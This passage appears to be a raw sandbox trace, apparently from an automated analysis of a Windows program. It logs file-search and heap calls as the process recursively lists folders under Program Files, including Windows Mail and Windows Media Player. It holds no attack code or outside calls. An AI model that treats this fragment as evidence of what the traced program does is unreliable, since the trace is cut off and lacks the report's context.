ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x290800, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="SenseSampleUploader.exe", cAlternateFileName="")) returned 1 [0241.121] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782516c0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd6d17d57, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd6d17d57, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x24800, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="WATPCSP.dll", cAlternateFileName="")) returned 1 [0241.121] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782516c0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd6d17d57, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd6d17d57, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x24800, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="WATPCSP.dll", cAlternateFileName="")) returned 0 [0241.121] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0241.121] GetProcessHeap () returned 0xc10000 [0241.121] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0241.121] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa90b6918, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows Mail", cAlternateFileName="WINDOW~2")) returned 1 [0241.121] GetProcessHeap () returned 0xc10000 [0241.121] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0241.121] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Mail\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa90b6918, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0241.123] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa90b6918, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.123] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa90b7e0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0241.123] GetProcessHeap () returned 0xc10000 [0241.123] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0241.123] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Mail\\en-US\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa90b7e0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0241.126] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa90b7e0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.126] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b922184, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75fdf500, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x7a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoeres.dll.mui", cAlternateFileName="")) returned 1 [0241.126] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb5e4e0, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x74ccc800, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 1 [0241.126] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb5e4e0, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x74ccc800, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 0 [0241.126] FindClose (in: hFindFile=0x33e4e68 | out: hFindFile=0x33e4e68) returned 1 [0241.126] GetProcessHeap () returned 0xc10000 [0241.127] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0241.127] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d342cc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d342cc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1f0a00, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="msoe.dll", cAlternateFileName="")) returned 1 [0241.127] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x25f400, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="MSOERES.dll", cAlternateFileName="")) returned 1 [0241.127] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="oeimport.dll", cAlternateFileName="")) returned 1 [0241.127] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440ad34a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440ad34a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440ad34a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7e400, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="wab.exe", cAlternateFileName="")) returned 1 [0241.127] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc000, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="wabimp.dll", cAlternateFileName="")) returned 1 [0241.127] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440ad34a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440ad34a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440ad34a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10c00, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="wabmig.exe", cAlternateFileName="")) returned 1 [0241.127] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x66600, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 1 [0241.128] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x66600, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 0 [0241.128] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0241.128] GetProcessHeap () returned 0xc10000 [0241.128] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0241.128] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e4faee, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9123675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0241.128] GetProcessHeap () returned 0xc10000 [0241.128] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0241.128] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e4faee, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9123675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0241.130] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e4faee, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9123675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.130] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9124bcc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0241.130] GetProcessHeap () returned 0xc10000 [0241.130] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0241.130] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\en-US\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9124bcc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0241.132] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9124bcc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.132] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9e0d51, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d06fb4c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x11db3100, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpvis.dll.mui", cAlternateFileName="")) returned 1 [0241.132] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d06fb4c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x130c5e00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup_wm.exe.mui", cAlternateFileName="")) returned 1 [0241.132] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40aa916a, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d06fb4c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x100e6f00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmlaunch.exe.mui", cAlternateFileName="")) returned 1 [0241.133] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9483e2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d06fb4c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x10aa0400, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmplayer.exe.mui", cAlternateFileName="")) returned 1 [0241.133] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd13924, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x10aa0400, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPMediaSharing.dll.mui", cAlternateFileName="")) returned 1 [0241.133] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd13924, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x11db3100, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnetwk.exe.mui", cAlternateFileName="")) returned 1 [0241.133] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de1e9a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x10aa0400, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnscfg.exe.mui", cAlternateFileName="")) returned 1 [0241.133] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de1e9a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x10aa0400, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnssci.dll.mui", cAlternateFileName="")) returned 1 [0241.133] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bacb92, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x100e6f00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnssui.dll.mui", cAlternateFileName="")) returned 1 [0241.133] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bacb92, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x100e6f00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnssui.dll.mui", cAlternateFileName="")) returned 0 [0241.133] FindClose (in: hFindFile=0x33e4e68 | out: hFindFile=0x33e4e68) returned 1 [0241.134] GetProcessHeap () returned 0xc10000 [0241.134] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0241.134] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9125145, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="Icons", cAlternateFileName="")) returned 1 [0241.134] GetProcessHeap () returned 0xc10000 [0241.134] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0241.134] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Icons\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9125145, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0241.135] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9125145, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.135] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9125145, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0241.135] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0241.135] GetProcessHeap () returned 0xc10000 [0241.135] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0241.135] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9182d5a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="Media Renderer", cAlternateFileName="MEDIAR~1")) returned 1 [0241.135] GetProcessHeap () returned 0xc10000 [0241.135] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0241.135] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Media Renderer\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9182d5a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0241.137] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9182d5a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 